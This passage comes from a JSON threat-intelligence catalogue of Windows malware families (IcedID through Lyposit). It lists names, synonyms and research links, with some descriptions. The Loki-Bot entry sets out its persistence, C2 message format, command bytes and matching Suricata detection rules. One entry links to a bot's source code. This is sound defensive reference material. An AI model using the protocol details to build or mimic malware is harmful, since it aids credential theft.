"http://www.intezer.com/icedid-banking-trojan-shares-code-pony-2-0-trojan/"
]
},
"uuid": "c3be9189-f8f2-45e4-b6a3-8960fd5ffc16",
"value": "IcedID Downloader",
"description": ""
},
{
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"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.icefog",
"http://www.kz-cert.kz/page/502"
]
},
"uuid": "48cdcbcf-38a8-4c68-a85e-42989ca28861",
"value": "Icefog",
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},
{
"meta": {
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"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.ice_ix",
"https://securelist.com/ice-ix-not-cool-at-all/29111/",
"https://www.virusbulletin.com/virusbulletin/2012/08/inside-ice-ix-bot-descendent-zeus",
"https://blog.trendmicro.com/trendlabs-security-intelligence/zeus-gets-another-update/"
]
},
"uuid": "44a1706e-f6dc-43ea-ac85-9a4f2407b9a3",
"value": "Ice IX",
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},
{
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"https://isc.sans.edu/diary/22766"
]
},
"uuid": "3afecded-3461-45f9-8159-e8328e56a916",
"value": "IDKEY",
"description": ""
},
{
"meta": {
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"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.iisniff",
"https://www.trustwave.com/Resources/SpiderLabs-Blog/The-Curious-Case-of-the-Malicious-IIS-Module/"
]
},
"uuid": "3b746f77-214b-44f9-9ef2-0ae6b52561d6",
"value": "IISniff",
"description": ""
},
{
"meta": {
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"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.imecab",
"https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east"
]
},
"uuid": "0ea585ef-bd32-4f5b-a3fe-bb48dc0956c7",
"value": "Imecab",
"description": ""
},
{
"meta": {
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"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.imminent_monitor_rat",
"https://itsjack.cc/blog/2016/01/imminent-monitor-4-rat-analysis-a-glance/"
]
},
"uuid": "53021414-97ad-4102-9cff-7a0e1997f867",
"value": "Imminent Monitor RAT",
"description": ""
},
{
"meta": {
"synonyms": [
"Foudre"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.infy",
"http://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/",
"https://researchcenter.paloaltonetworks.com/2016/05/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/",
"https://github.com/pan-unit42/iocs/blob/master/prince_of_persia/hashes.csv",
"https://www.intezer.com/prince-of-persia-the-sands-of-foudre/",
"https://researchcenter.paloaltonetworks.com/2017/08/unit42-prince-persia-ride-lightning-infy-returns-foudre/"
]
},
"uuid": "53616ce4-9b8e-45a0-b380-9e778cd95ae2",
"value": "Infy",
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},
{
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"https://malpedia.caad.fkie.fraunhofer.de/details/win.innaput_rat",
"https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/"
]
},
"uuid": "dd486e92-54fe-4306-9aab-05863cb6c6e1",
"value": "InnaputRAT",
"description": "InnaputRAT, a RAT capable of exfiltrating files from victim machines, was distributed by threat actors using phishing and Godzilla Loader. The RAT has evolved through multiple variants dating back to 2016. Recent campaigns distributing InnaputRAT beaconed to live C2 as of March 26, 2018."
},
{
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"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.invisimole",
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},
"uuid": "22755fda-497e-4ef0-823e-5cb6d8701420",
"value": "InvisiMole",
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},
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"IAP",
"Pandemyia"
],
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"https://malpedia.caad.fkie.fraunhofer.de/details/win.isfb",
"https://www.vkremez.com/2018/08/lets-learn-in-depth-reversing-of-recent.html",
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"https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html",
"https://lokalhost.pl/gozi_tree.txt",
"https://www.youtube.com/watch?v=jlc7Ahp8Iqg",
"https://isc.sans.edu/forums/diary/Reviewing+the+spam+filters+Malspam+pushing+GoziISFB/23245",
"https://blog.malwarebytes.com/threat-analysis/2017/04/binary-options-malvertising-campaign-drops-isfb-banking-trojan/",
"http://blog.talosintelligence.com/2018/03/gozi-isfb-remains-active-in-2018.html",
"https://securityintelligence.com/meet-goznym-the-banking-malware-offspring-of-gozi-isfb-and-nymaim/",
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"https://www.rsa.com/de-de/resources/pandemiya-emerges-new-malware-alternative-zeus-based",
"https://www.cylance.com/en_us/blog/threat-spotlight-ursnif-infostealer-malware.html",
"https://arielkoren.com/blog/2016/11/01/ursnif-malware-deep-technical-dive/"
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},
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"value": "ISFB",
"description": "2006 Gozi v1.0, Gozi CRM, CRM, Papras\r\n2010 Gozi v2.0, Gozi ISFB, ISFB, Pandemyia(*)\r\n\r\nIn September 2010, the source code of a particular Gozi CRM dll version was leaked. This led to two main branches: one became known as Gozi Prinimalka, which was merge with Pony and became Vawtrak/Neverquest.\r\n\r\nThe other branch became known as Gozi ISFB, or ISFB in short. Webinject functionality was added to this version.\r\n\r\nThere is one panel which often was used in combination with ISFB: IAP. The panel's login page comes with the title 'Login - IAP'. The body contains 'AUTHORIZATION', 'Name:', 'Password:' and a single button 'Sign in' in a minimal design. Often, the panel is directly accessible by entering the C2 IP address in a browser. But there are ISFB versions which are not directly using IAP. The bot accesses a gate, which is called the 'Dreambot' gate. See win.dreambot for further information.\r\n\r\nISFB often was protected by Rovnix. This led to a further complication in the naming scheme - many companies started to call ISFB Rovnix. Because the signatures started to look for Rovnix, other trojans protected by Rovnix (in particular ReactorBot and Rerdom) sometimes got wrongly labelled.\r\n\r\nIn April 2016 a combination of Gozi ISFB and Nymaim was detected. This breed became known as GozNym. The merge uses a shellcode-like version of Gozi ISFB, that needs Nymaim to run. The C2 communication is performed by Nymaim.\r\n\r\nSee win.gozi for additional historical information."
},
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"https://malpedia.caad.fkie.fraunhofer.de/details/win.ismagent",
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},
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},
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},
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"value": "ISMDoor",
"description": ""
},
{
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"https://malpedia.caad.fkie.fraunhofer.de/details/win.ispy_keylogger",
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]
},
"uuid": "8c95cb51-1044-4dcd-9cac-ad9f2e3b9070",
"value": "iSpy Keylogger",
"description": ""
},
{
"meta": {
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"https://securingtomorrow.mcafee.com/mcafee-labs/phishing-attacks-employ-old-effective-password-stealer/"
]
},
"uuid": "27bab2fb-d324-42c2-9df3-669bb87c3989",
"value": "ISR Stealer",
"description": "ISR Stealer is a modified version of the Hackhound Stealer. It is written in VB and often comes in a .NET-wrapper.\r\nISR Stealer makes use of two Nirsoft tools: Mail PassView and WebBrowserPassView.\r\n\r\nIncredibly, it uses an hard-coded user agent string: HardCore Software For : Public"
},
{
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"https://malpedia.caad.fkie.fraunhofer.de/details/win.isspace",
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},
"uuid": "a3f41c96-a5c8-4dfe-b7fa-d9d75f97979a",
"value": "IsSpace",
"description": ""
},
{
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]
},
"uuid": "3acb37f4-5614-4932-b12f-9f1c256895f2",
"value": "JackPOS",
"description": ""
},
{
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"https://malpedia.caad.fkie.fraunhofer.de/details/win.jaff",
"http://malware-traffic-analysis.net/2017/05/16/index.html",
"https://www.proofpoint.com/us/threat-insight/post/jaff-new-ransomware-from-actors-behind-distribution-of-dridex-locky-bart",
"http://blog.talosintelligence.com/2017/05/jaff-ransomware.html"
]
},
"uuid": "2c51a717-726b-4813-9fcc-1265694b128e",
"value": "Jaff",
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},
{
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]
},
"uuid": "13a7a2ff-c945-4b42-a112-dcf09f9ed9c9",
"value": "Jager Decryptor",
"description": ""
},
{
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],
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"https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146",
"https://www.forcepoint.com/sites/default/files/resources/files/report_jaku_analysis_of_botnet_campaign_en_0.pdf"
]
},
"uuid": "0f02ea79-5833-46e0-8458-c4a863a5a112",
"value": "Jaku",
"description": ""
},
{
"meta": {
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"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.jasus",
"https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
]
},
"uuid": "af6e89ec-0adb-4ce6-b4e6-610827e722ea",
"value": "Jasus",
"description": ""
},
{
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]
},
"uuid": "910c3fd2-56e5-4f1d-8df0-2aa0b293b7d9",
"value": "Jigsaw",
"description": ""
},
{
"meta": {
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"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.jimmy",
"https://securelist.com/jimmy-nukebot-from-neutrino-with-love/81667/"
]
},
"uuid": "551b568f-68fa-4483-a10c-a6452ae6289e",
"value": "Jimmy",
"description": ""
},
{
"meta": {
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"refs": [
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"https://www.us-cert.gov/ncas/alerts/TA18-149A",
"https://www.us-cert.gov/ncas/analysis-reports/AR18-149A",
"https://www.acalvio.com/lateral-movement-technique-employed-by-hidden-cobra/"
]
},
"uuid": "bbbef449-2fe6-4c25-a85c-69af9fa6208b",
"value": "Joanap",
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},
{
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"refs": [
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"https://www.welivesecurity.com/2017/08/22/gamescom-2017-fun-blackhats/"
]
},
"uuid": "8201c8d2-1dab-4473-bbdf-42952b3d5fc6",
"value": "Joao",
"description": ""
},
{
"meta": {
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"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.jolob",
"http://pwc.blogs.com/cyber_security_updates/2014/10/scanbox-framework-whos-affected-and-whos-using-it-1.html"
]
},
"uuid": "97f12ca8-dc84-4a8c-b4c6-8ec1d1e79631",
"value": "Jolob",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.jqjsnicker",
"http://marcmaiffret.com/vault7/"
]
},
"uuid": "2e457b93-de45-4b1d-8e1d-b8d19c2c555a",
"value": "JQJSNICKER",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.jripbot",
"https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
]
},
"uuid": "e895a0d2-fe4b-4793-9440-9db2d56a97f2",
"value": "JripBot",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.kagent",
"https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
]
},
"uuid": "eab42a8e-22e7-49e4-8a26-44f14b6f67bb",
"value": "KAgent",
"description": ""
},
{
"meta": {
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"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.karagany",
"https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group"
]
},
"uuid": "857e61fe-ccb2-426b-ad7b-696112f48dbb",
"value": "Karagany",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.kardonloader",
"https://asert.arbornetworks.com/kardon-loader-looks-for-beta-testers/",
"https://engineering.salesforce.com/kardon-loader-malware-analysis-adaaaab42bab"
]
},
"uuid": "8b33ba21-9af7-4536-bd02-23dd863147e8",
"value": "Kardon Loader",
"description": "According to ASERT, Kardon Loader is a fully featured downloader, enabling the download and installation of other malware, eg. banking trojans/credential theft etc.This malware has been on sale by an actor under the username Yattaze, starting in late April. The actor offers the sale of the malware as a standalone build with charges for each additional rebuild, or the ability to set up a botshop in which case any customer can establish their own operation and further sell access to a new customer base."
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.karius",
"https://dissectmalware.wordpress.com/2018/03/28/multi-stage-powershell-script/",
"https://research.checkpoint.com/banking-trojans-development/"
]
},
"uuid": "8a01c3be-17b7-4e5a-b0b2-6c1f5ccb82cf",
"value": "Karius",
"description": "According to checkpoint, Karius is a banking trojan in development, borrowing code from Ramnit, Vawtrack as well as Trickbot, currently implementing webinject attacks only.\r\n\r\nIt comes with an injector that loads an intermediate \"proxy\" component, which in turn loads the actual banker component.\r\n\r\nCommunication with the c2 are in json format and encrypted with RC4 with a hardcoded key.\r\n\r\nIn the initial version, observed in March 2018, the webinjects were hardcoded in the binary, while in subsequent versions, they were received by the c2.\r\n\r\n"
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.kasperagent",
"http://researchcenter.paloaltonetworks.com/2017/04/unit42-targeted-attacks-middle-east-using-kasperagent-micropsia/",
"https://www.threatconnect.com/blog/kasperagent-malware-campaign/"
]
},
"uuid": "d9c14095-8885-406c-b56b-06f3a1a88c1c",
"value": "KasperAgent",
"description": ""
},
{
"meta": {
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"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.kazuar",
"http://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"
]
},
"uuid": "bab92070-3589-4b7e-bf05-4f54bfefc2ca",
"value": "Kazuar",
"description": ""
},
{
"meta": {
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"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.kegotip"
]
},
"uuid": "96bb088c-7bb7-4a07-a9d7-a3cbb45d5755",
"value": "Kegotip",
"description": ""
},
{
"meta": {
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"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.kelihos",
"https://www.crowdstrike.com/blog/inside-the-takedown-of-zombie-spider-and-the-kelihos-botnet/",
"https://www.wired.com/2017/04/fbi-took-russias-spam-king-massive-botnet/",
"https://www.cyberscoop.com/doj-kelihos-botnet-peter-levashov-severa/",
"https://en.wikipedia.org/wiki/Kelihos_botnet"
]
},
"uuid": "7d69892e-d582-4545-8798-4a9a84a821ea",
"value": "Kelihos",
"description": ""
},
{
"meta": {
"synonyms": [
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],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.keyboy",
"https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html",
"https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/",
"https://citizenlab.ca/2016/11/parliament-keyboy/",
"https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/"
]
},
"uuid": "28c13455-7f95-40a5-9568-1e8732503507",
"value": "KeyBoy",
"description": ""
},
{
"meta": {
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"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.keylogger_apt3",
"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong",
"https://twitter.com/smoothimpact/status/773631684038107136",
"https://intrusiontruth.wordpress.com/2017/05/09/apt3-is-boyusec-a-chinese-intelligence-contractor/"
]
},
"uuid": "68039fbe-2eee-4666-b809-32a011e9852a",
"value": "APT3 Keylogger",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.keymarble",
"https://www.us-cert.gov/ncas/analysis-reports/AR18-221A"
]
},
"uuid": "0c213d7f-8c71-4341-aeb0-13be71fbf4e5",
"value": "KEYMARBLE",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.khrat",
"https://blogs.forcepoint.com/security-labs/trojanized-adobe-installer-used-install-dragonok%E2%80%99s-new-custom-backdoor",
"https://researchcenter.paloaltonetworks.com/2017/08/unit42-updated-khrat-malware-used-in-cambodia-attacks/"
]
},
"uuid": "361d3f09-8bc8-4b5a-803f-8686cf346047",
"value": "KHRAT",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.kikothac",
"https://www.group-ib.com/resources/threat-research/silence.html"
]
},
"uuid": "f2ca304f-6577-4f3a-983c-beec447a9493",
"value": "Kikothac",
"description": ""
},
{
"meta": {
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"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.killdisk",
"http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/",
"https://blog.trendmicro.com/trendlabs-security-intelligence/new-killdisk-variant-hits-financial-organizations-in-latin-america/"
]
},
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"value": "KillDisk",
"description": ""
},
{
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"Maple"
],
"type": [],
"refs": [
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]
},
"uuid": "07f6bbff-a09a-4580-96ea-62795a8dae11",
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"description": ""
},
{
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},
"uuid": "70459959-5a20-482e-b714-2733f5ff310e",
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},
{
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},
"uuid": "3b5faa15-e87e-4aaf-b791-2c5e593793e6",
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},
{
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"https://malpedia.caad.fkie.fraunhofer.de/details/win.kokokrypt",
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},
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},
{
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},
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"value": "Konni",
"description": ""
},
{
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]
},
"uuid": "9430ce27-c8c5-44fb-9255-47d76a8903b3",
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},
{
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],
"type": [],
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},
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},
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"refs": [
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},
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},
{
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},
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},
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],
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},
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},
{
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},
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},
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},
{
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],
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]
},
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},
{
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]
},
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},
{
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]
},
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},
{
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]
},
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},
{
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"refs": [
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},
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},
{
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"refs": [
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},
"uuid": "da79cf10-df9f-4cd3-bbce-ae9f357633f0",
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},
{
"meta": {
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"refs": [
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"https://blog.malwarebytes.com/threat-analysis/2017/06/latentbot/",
"https://www.cert.pl/news/single/latentbot-modularny-i-silnie-zaciemniony-bot/",
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},
"uuid": "7fc74551-013f-4dd1-8da9-9266edcc45d0",
"value": "LatentBot",
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},
{
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"refs": [
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"https://twitter.com/PhysicalDrive0/status/828915536268492800",
"https://baesystemsai.blogspot.com/2017/02/lazarus-watering-hole-attacks.html",
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]
},
"uuid": "0caf0292-b01a-4439-b56f-c75b71900bc0",
"value": "Lazarus",
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},
{
"meta": {
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"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.laziok",
"https://www.symantec.com/connect/blogs/new-reconnaissance-threat-trojanlaziok-targets-energy-sector",
"https://www.mysonicwall.com/sonicalert/searchresults.aspx?ev=article&id=802"
]
},
"uuid": "686a9217-3978-47c0-9989-dd2a3438ba72",
"value": "Laziok",
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},
{
"meta": {
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"type": [],
"refs": [
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"https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
]
},
"uuid": "8faf7592-be5c-44af-b1ca-2bd8caec195d",
"value": "Leash",
"description": ""
},
{
"meta": {
"synonyms": [
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],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.leouncia",
"https://www.rsaconference.com/writable/presentations/file_upload/crwd-t11-hide_and_seek-how_threat_actors_respond_in_the_face_of_public_exposure.pdf",
"https://www.fireeye.com/blog/threat-research/2010/12/leouncia-yet-another-backdoor.html",
"https://www.fireeye.com/blog/threat-research/2010/12/leouncia-yet-another-backdoor-part-2.html"
]
},
"uuid": "41da41aa-0729-428a-8b82-636600f8e230",
"value": "Leouncia",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.lethic",
"https://www.arbornetworks.com/blog/asert/lethic-spambot-analysis-pills-watches-and-diplomas/",
"http://resources.infosecinstitute.com/win32lethic-botnet-analysis/",
"http://www.vkremez.com/2017/11/lets-learn-lethic-spambot-survey-of.html",
"http://www.malware-traffic-analysis.net/2017/11/02/index.html"
]
},
"uuid": "342f5c56-861c-4a06-b5db-85c3c424f51f",
"value": "Lethic",
"description": "Lethic is a spambot dating back to 2008. It is known to be distributing low-level pharmaceutical spam."
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.limitail"
]
},
"uuid": "dcd1f76d-5a40-4c58-b01e-a749871fe50b",
"value": "Limitail",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.listrix",
"https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group"
]
},
"uuid": "54c8a055-a4be-4ec0-9943-ecad929e0dac",
"value": "Listrix",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.litehttp",
"https://malware.news/t/recent-litehttp-activities-and-iocs/21053",
"https://github.com/zettabithf/LiteHTTP"
]
},
"uuid": "2f9e1221-0a59-447b-a9e8-bedb010cd3d8",
"value": "LiteHTTP",
"description": "According to AlienVault, LiteHTTP bot is a new HTTP bot programmed in C#. The bot has the ability to collect system information, download and execute programs, and update and kill other bots present on the system. \r\n\r\nThe source is on GitHub: https://github.com/zettabithf/LiteHTTP"
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.locky",
"http://securityaffairs.co/wordpress/49094/malware/zepto-ransomware.html",
"https://blog.malwarebytes.com/threat-analysis/2017/01/locky-bart-ransomware-and-backend-server-analysis/",
"https://blog.malwarebytes.com/threat-analysis/2016/03/look-into-locky/",
"https://www.bleepingcomputer.com/news/security/locky-ransomware-returns-but-targets-only-windows-xp-and-vista/",
"http://blog.talosintelligence.com/2017/06/necurs-locky-campaign.html",
"https://blog.botfrei.de/2017/08/weltweite-spamwelle-verbreitet-teufliche-variante-des-locky/",
"https://www.bleepingcomputer.com/news/security/locky-ransomware-switches-to-the-lukitus-extension-for-encrypted-files/",
"https://www.cylance.com/en_us/blog/threat-spotlight-locky-ransomware.html"
]
},
"uuid": "24c9bb9f-1f9a-4e01-95d8-86c51733e11c",
"value": "Locky",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.locky_decryptor"
]
},
"uuid": "cd55cfa8-1e20-417b-9997-754b600f9f49",
"value": "Locky (Decryptor)",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.locky_loader"
]
},
"uuid": "62c17ebb-4ea5-43bd-96fc-d9ac8d464aa2",
"value": "Locky Loader",
"description": "For the lack of a better name, this is a VBS-based loader that was used in beginning of 2018 to deliver win.locky."
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.lock_pos",
"https://www.arbornetworks.com/blog/asert/lockpos-joins-flock/",
"https://www.cylance.com/en_us/blog/threat-spotlight-lockpos-point-of-sale-malware.html",
"https://www.cyberbit.com/new-lockpos-malware-injection-technique/"
]
},
"uuid": "d2c111bf-ba0d-498a-8ca8-4cc508855872",
"value": "LockPOS",
"description": ""
},
{
"meta": {
"synonyms": [
"Nymeria"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.loda",
"https://www.proofpoint.com/us/threat-insight/post/introducing-loda-malware",
"https://zerophagemalware.com/2018/01/23/maldoc-rtf-drop-loda-logger/"
]
},
"uuid": "8098d303-cb5f-4eff-b62e-96bb5ef4329f",
"value": "Loda",
"description": "Loda is a previously undocumented AutoIT malware with a variety of capabilities for spying on victims. Proofpoint first observed Loda in September of 2016 and it has since grown in popularity. The name Loda is derived from a directory to which the malware author chose to write keylogger logs. It should be noted that some antivirus products currently detect Loda as \u201cTrojan.Nymeria\u201d, although the connection is not well-documented."
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.logedrut",
"https://researchcenter.paloaltonetworks.com/2016/09/mile-tea-cyber-espionage-campaign-targets-asia-pacific-businesses-and-government-agencies/"
]
},
"uuid": "70cd1eb4-0410-47c6-8817-418380240d85",
"value": "Logedrut",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.logpos",
"https://securitykitten.github.io/2015/11/16/logpos-new-point-of-sale-malware-using-mailslots.html"
]
},
"uuid": "2789b246-d762-4d38-8cc8-302293e314da",
"value": "LogPOS",
"description": ""
},
{
"meta": {
"synonyms": [
"Loki",
"LokiPWS",
"LokiBot"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.lokipws",
"https://blog.fortinet.com/2017/05/17/new-loki-variant-being-spread-via-pdf-file",
"https://cysinfo.com/nefarious-macro-malware-drops-loki-bot-across-gcc-countries/",
"https://r3mrum.wordpress.com/2017/05/07/loki-bot-atrifacts/",
"https://github.com/R3MRUM/loki-parse",
"http://www.malware-traffic-analysis.net/2017/06/12/index.html",
"http://blog.fernandodominguez.me/lokis-antis-analysis/",
"https://phishme.com/loki-bot-malware/",
"https://www.lastline.com/blog/password-stealing-malware-loki-bot/",
"https://www.sans.org/reading-room/whitepapers/malicious/loki-bot-information-stealer-keylogger-more-37850",
"https://github.com/d00rt/hijacked_lokibot_version/blob/master/doc/LokiBot_hijacked_2018.pdf",
"https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"
]
},
"uuid": "b8fa5036-813f-4887-b4d4-bb17b4a7eba0",
"value": "Loki Password Stealer (PWS)",
"description": "\"Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets.\" - PhishMe\r\n\r\nLoki-Bot employs function hashing to obfuscate the libraries utilized. While not all functions are hashed, a vast majority of them are.\r\n\r\nLoki-Bot accepts a single argument/switch of \u2018-u\u2019 that simply delays execution (sleeps) for 10 seconds. This is used when Loki-Bot is upgrading itself.\r\n\r\nThe Mutex generated is the result of MD5 hashing the Machine GUID and trimming to 24-characters. For example: \u201cB7E1C2CC98066B250DDB2123\u201c.\r\n\r\nLoki-Bot creates a hidden folder within the %APPDATA% directory whose name is supplied by the 8th thru 13th characters of the Mutex. For example: \u201c%APPDATA%\\ C98066\\\u201d.\r\n\r\nThere can be four files within the hidden %APPDATA% directory at any given time: \u201c.exe,\u201d \u201c.lck,\u201d \u201c.hdb\u201d and \u201c.kdb.\u201d They will be named after characters 13 thru 18 of the Mutex. For example: \u201c6B250D.\u201d Below is the explanation of their purpose:\r\n\r\nFILE EXTENSION\tFILE DESCRIPTION\r\n.exe\tA copy of the malware that will execute every time the user account is logged into\r\n.lck\tA lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts\r\n.hdb\tA database of hashes for data that has already been exfiltrated to the C2 server\r\n.kdb\tA database of keylogger data that has yet to be sent to the C2 server\r\n\r\nIf the user is privileged, Loki-Bot sets up persistence within the registry under HKEY_LOCAL_MACHINE. If not, it sets up persistence under HKEY_CURRENT_USER.\r\n\r\nThe first packet transmitted by Loki-Bot contains application data.\r\n\r\nThe second packet transmitted by Loki-Bot contains decrypted Windows credentials.\r\n\r\nThe third packet transmitted by Loki-Bot is the malware requesting C2 commands from the C2 server. By default, Loki-Bot will send this request out every 10 minutes after the initial packet it sent.\r\n\r\nCommunications to the C2 server from the compromised host contain information about the user and system including the username, hostname, domain, screen resolution, privilege level, system architecture, and Operating System.\r\n\r\nThe first WORD of the HTTP Payload represents the Loki-Bot version.\r\n\r\nThe second WORD of the HTTP Payload is the Payload Type. Below is the table of identified payload types:\r\n\r\nBYTE\tPAYLOAD TYPE\r\n0x26\tStolen Cryptocurrency Wallet\r\n0x27\tStolen Application Data\r\n0x28\tGet C2 Commands from C2 Server\r\n0x29\tStolen File\r\n0x2A\tPOS (Point of Sale?)\r\n0x2B\tKeylogger Data\r\n0x2C\tScreenshot\r\n\r\nThe 11th byte of the HTTP Payload begins the Binary ID. This might be useful in tracking campaigns or specific threat actors. This value value is typically \u201cckav.ru\u201d. If you come across a Binary ID that is different from this, take note!\r\n\r\nLoki-Bot encrypts both the URL and the registry key used for persistence using Triple DES encryption.\r\n\r\nThe Content-Key HTTP Header value is the result of hashing the HTTP Header values that precede it. This is likely used as a protection against researchers who wish to poke and prod at Loki-Bot\u2019s C2 infrastructure.\r\n\r\nLoki-Bot can accept the following instructions from the C2 Server:\r\n\r\nBYTE\tINSTRUCTION DESCRIPTION\r\n0x00\tDownload EXE & Execute\r\n0x01\tDownload DLL & Load #1\r\n0x02\tDownload DLL & Load #2\r\n0x08\tDelete HDB File\r\n0x09\tStart Keylogger\r\n0x0A\tMine & Steal Data\r\n0x0E\tExit Loki-Bot\r\n0x0F\tUpgrade Loki-Bot\r\n0x10\tChange C2 Polling Frequency\r\n0x11\tDelete Executables & Exit\r\n\r\nSuricata Signatures\r\nRULE SID\tRULE NAME\r\n2024311\tET TROJAN Loki Bot Cryptocurrency Wallet Exfiltration Detected\r\n2024312\tET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M1\r\n2024313\tET TROJAN Loki Bot Request for C2 Commands Detected M1\r\n2024314\tET TROJAN Loki Bot File Exfiltration Detected\r\n2024315\tET TROJAN Loki Bot Keylogger Data Exfiltration Detected M1\r\n2024316\tET TROJAN Loki Bot Screenshot Exfiltration Detected\r\n2024317\tET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M2\r\n2024318\tET TROJAN Loki Bot Request for C2 Commands Detected M2\r\n2024319\tET TROJAN Loki Bot Keylogger Data Exfiltration Detected M2"
},
{
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"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.luminosity_rat",
"https://researchcenter.paloaltonetworks.com/2016/07/unit42-investigating-the-luminositylink-remote-access-trojan-configuration/",
"https://researchcenter.paloaltonetworks.com/2018/02/unit42-rat-trapped-luminositylink-falls-foul-vermin-eradication-efforts/",
"https://www.proofpoint.com/us/threat-insight/post/Light-After-Dark",
"https://umbrella.cisco.com/blog/2017/01/18/finding-the-rats-nest/",
"http://malwarenailed.blogspot.com/2016/07/luminosity-rat-re-purposed.html",
"https://krebsonsecurity.com/2018/07/luminositylink-rat-author-pleads-guilty/"
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"uuid": "8c0d3012-9dcb-46d3-964f-8a3c5b58d1b2",
"value": "Luzo",
"description": ""
},
{
"meta": {
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"Lucky Locker",
"Adneukine",
"Bomba Locker"
],
"type": [],
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"https://malpedia.caad.fkie.fraunhofer.de/details/win.lyposit",
"https://blog.avast.com/2013/05/20/lockscreen-win32lyposit-displayed-as-a-fake-macos-app/",
"http://malware.dontneedcoffee.com/2012/11/inside-view-of-lyposit-aka-for-its.html",
